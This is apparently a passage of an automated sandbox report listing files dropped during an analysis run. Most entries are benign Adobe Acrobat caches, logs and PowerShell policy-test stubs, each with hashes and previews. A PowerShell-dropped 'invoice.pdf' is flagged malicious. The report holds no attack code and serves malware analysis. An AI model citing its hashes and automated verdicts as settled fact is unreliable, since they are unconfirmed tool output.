MD5:	9017DE84D074FBDD86F12208639AAB14
SHA1:	BA18E1DD5B948E0EA9BD536EFB82192BCFFACD64
SHA-256:	815C27ACEFD5ABE6D97FE4C044855BDA4AC2074F63CA42F82CA85072E88A9371
SHA-512:	F10D1EB96FA1C29B8DF44EA26E97CE0F6D1ABA46588392396A2EF4199BF759B971FDE945841CA8BB590B31B12E45E5450753B07826B3DACCD40DE7B611D240DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.232430114721949
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHtpx+FIbRI6XVW7+0YLWxoAvJTqgFCrPeUkwRe9:YvXKXN2YpW7i5GTq16Ukee9
MD5:	FE2EC22A3C208AEBA24EBE4DD4BEDB1D
SHA1:	680755060E7899237220A8FE9794D0FC48278F69
SHA-256:	9ED65AC8C93FB884871E4F90FBC142F97A79F8F8BA9480E97344A7104FA138BD
SHA-512:	529861C5CA804AA2AFFA4693FECAF7E60ACDDF420DDB73FC7CDC4330E0BA1740CE340D17D444869C55070CCB46F8A7807AE10308FC978EF25AE428807C19CD8B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b49e7923-8222-4033-9f53-ab43a0727539","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736741322191,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.132625760907245
Encrypted:	false
SSDEEP:	24:Y7vf9ab3caykxPkAquw7vDDBYz+qZsjBWj0Sox/3o2sc72LSyCb7nKjM6L5n79dN:Y7nEV9wO+9BoJfc7wc7KjMCh79dFVF
MD5:	1241094D850F0F31AE946514284C8644
SHA1:	0E8DAB265857CE71D8EF7F5CEF85CD54A319450B
SHA-256:	5070F080E65DA301D781D9912C582A3514CC4C56CAB5628B6D51D403A53B8F2C
SHA-512:	D8C0BBB96EE29369EEFC0315509624CD32586911B122B06CFAF78B7DEB663B96EE22A432655BACB9A60F14DA29A472CE3CB9848D1ABE57E69CAE2A98B90755D9
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"96315be75d670a2933b01dfeb1674401","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736567667000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"91aab68a5fe7285929194b4c272bf6d8","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736567667000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"3086e77ebb0f781037d6012bbbf325ad","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736567666000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"aa367ed5f1a034390c6924b8a4dc3d05","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736567666000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"5fd4d01bf16a13a6f0454c71cee63bed","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736567666000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"585fc691d9007c49aa992799c725917a","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9844933186760167
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpRtg4zJwtNBwtNbRZ6bRZ4oygF:TVl2GL7ms6ggOVpLDzutYtp6PO8
MD5:	4C47D8EF32A3C5E0A55FC91C58856043
SHA1:	DA2BD6F06B487B92AAFC6858DE03E6F5AD6CEA97
SHA-256:	C1C1611F6161D7E09AD2208DB7D86E07E8B847DEA5322559F5EFC982EEAAF296
SHA-512:	693CE281AC6B875B752C1D7064667ADE79270F83E1DA3707DFE6E73A7BDE3BCC285DFFE49FE5D0A4C921518AD2228D09482EE594EA94BAB916E688AC5104EA4F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3394870782352457
Encrypted:	false
SSDEEP:	24:7+txAD1RZKHs/Ds/SpRtgPzJwtNBwtNbRZ6bRZWf1RZKLqLBx/XYKQvGJF7ursU:7MxGgOVpL8zutYtp6PMCqll2GL7msU
MD5:	1F312A2A787B0C2AA33F8BD21241B510
SHA1:	7859E715129D3FC008332507B8FCCB9B21C5E467
SHA-256:	8A13401ADFD0F90F1AB432CA24B1F78CD5A4F30A1AF4C57530880C292BC4249A
SHA-512:	0164CC34D85890EC549668877A419EDD2ED5463B27C687E757343F14B99AAB7ADD15008DD8C668B0EE7980F9DFE22CB1314765F235B28793832E47131B518029
Malicious:	false
Preview:	.... .c........}......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgaBgjezFswyqUpzeZStt6vmFR/Yyu:6a6TZ44ADEaBgqzFswfFvmj/K
MD5:	BF7DA97DE67EDCAAA10D06AD6FDC5DC0
SHA1:	FE72A15EEB312607132A721EE1539A9E20D7730C
SHA-256:	5F8F4F5742F94E4EABD27F6CD13D964896B23EC378ECE2395F36B9CCE7BE1A7E
SHA-512:	8B92D5610A6C37A96B8E7877AF58FB3EB127D08B640D628FBC130DF0C4041626DA98A23FCE6D42CB6992A78E93EEE0CBDDD159F13D84B1BD54DAA85129CA5B9D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIf0e4c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClSl53:Qw946cPbiOxDlbYnuRK+b3J
MD5:	7108D2423949CB5E1BC656B5F4EE40A3
SHA1:	7A2E32D0D4985E105B9202966B33F74BF7F92B91
SHA-256:	7282A377F8AF5ECC46B8F260CD9808B2E6AA884E3066483DFCB910B8FB77B3F8
SHA-512:	CC86E8A5EAFF6152A72FBADD06F1F2801554FD770FCD8FDAD8C6CA374D933C66F0F65A49749AD51ABC6B96B1F9A08A68C9BB4C867E0406FDF19193FF6E9AEF7C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.5.4.:.2.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dcvvyq1n.3c0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hgy4zr3b.2un.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-54-22-922.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3569041786921545
Encrypted:	false
SSDEEP:	384:V8KdCsvZeHRnUy3+6YzHjIN1fAmHNIsrcnH5b3ZSm2YUoCXVFVlVsVB+VDVWVDVF:LzkXPiWtUtmS
MD5:	A691B67583971CDCAE22841F3E10B0C2
SHA1:	12D145CEFE25F0A9A490D9741D11951F5C19BC77
SHA-256:	D0164A96AC803A8B42625DE8A7B76FD6B8DC505F7B172B013FFA832CF1326FD4
SHA-512:	245E217CBAB97D05BA930A1052E289265FC243B808422CC56893C21D5260E5F6FE1D8A3C0EAF01E47D7026264876664A67ACFDF1C1ED28E214CE3E7086E767A2
Malicious:	false
Preview:	SessionID=0a5b8832-fd26-4be8-abe7-18d620afa1f7.1736567662935 Timestamp=2025-01-10T22:54:22:935-0500 ThreadID=7524 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=0a5b8832-fd26-4be8-abe7-18d620afa1f7.1736567662935 Timestamp=2025-01-10T22:54:22:937-0500 ThreadID=7524 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=0a5b8832-fd26-4be8-abe7-18d620afa1f7.1736567662935 Timestamp=2025-01-10T22:54:22:937-0500 ThreadID=7524 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=0a5b8832-fd26-4be8-abe7-18d620afa1f7.1736567662935 Timestamp=2025-01-10T22:54:22:937-0500 ThreadID=7524 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=0a5b8832-fd26-4be8-abe7-18d620afa1f7.1736567662935 Timestamp=2025-01-10T22:54:22:937-0500 ThreadID=7524 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.391517762961369
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbA:5kyWJ
MD5:	96BB869B44DAEC0F3F2A7C27ECE2D454
SHA1:	C33B269FCD01EC09E2B90905B74FED807FC00ED2
SHA-256:	DC1B1D05BE744E78AC92F658F437BC5F123E2380D9BA059A3B2290145440CE32
SHA-512:	0A19F6948E5436F64B10B42332D5739314B361EEBE1D63D4E4259C4BFAE49ABA1750761A627BAA528B218F68A3225B9E397024B8D54B8DEAF388E20A8FDA7645
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5dcfe6c3-4e14-4419-b4e7-38ff2f204931.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\95a3d9ba-4e1c-430d-afe1-90fd89063a79.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U8:O3Pjegf121YS8lkipdjMMNB1DofjgJJY
MD5:	91FB13BA86F9851088A815FC1C589744
SHA1:	EFF1FACC7E56CD354CD9CE7B3429342883D5AE70
SHA-256:	E54AE9819F665C9156FA36FD982EFAD6C69A9A9647FBBC1CA5DBE2AF043EB291
SHA-512:	8E1FED5FDF80DAD97A92BFFEB81752675BF50DCAEAF2ACD0C6AA32D5610950495DD913F666C40AE411DDD18CD70E2CBAD5DB1849C96674C64000E99021559C50
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b06e98a1-7205-4e5d-8dfd-3ebad4e43d2f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7ouWLaGZjZwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RuWLaGZjZwZGk3mlind9i4ufFXpAXkru
MD5:	AE1E8A5D3E7B2198980A0CA16DE5F3D3
SHA1:	A1DB2C58AFC81E6A114A8EB47BE0243956F79460
SHA-256:	8C2E1B13F6658714D51737D6745FE065B87497923945AB3028706A4171C8328F
SHA-512:	5B36CF0982C5AFED5CCEA4B30A0B31A2B5312FBF5438623D53153E076B59F1B4BEF8C08695EA74E086BCA4EF7221889DB977B5DCFF4C684BA0683FDDECDE2EC4
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\de119819-f149-48b7-9a29-99a7c7506fc2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xLtwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:JJwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	D38CB76360DDA78820460E5C5F20061C
SHA1:	F2B65831130B70F2A3DC345F70C4BEEDE9AB40E8
SHA-256:	55E70B5D5F8BE28D648BCDFE7DEB02BF4BBE2F626D620D4D838E0FA4FBF45F8E
SHA-512:	5E31738169A6FE92062B0E582489DEEAC2FA1798965DED94EFA994965470A15B5095851701E4DF631C5EC4454913272F1156EC46B32DA782D3C0F9E490C129A1
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
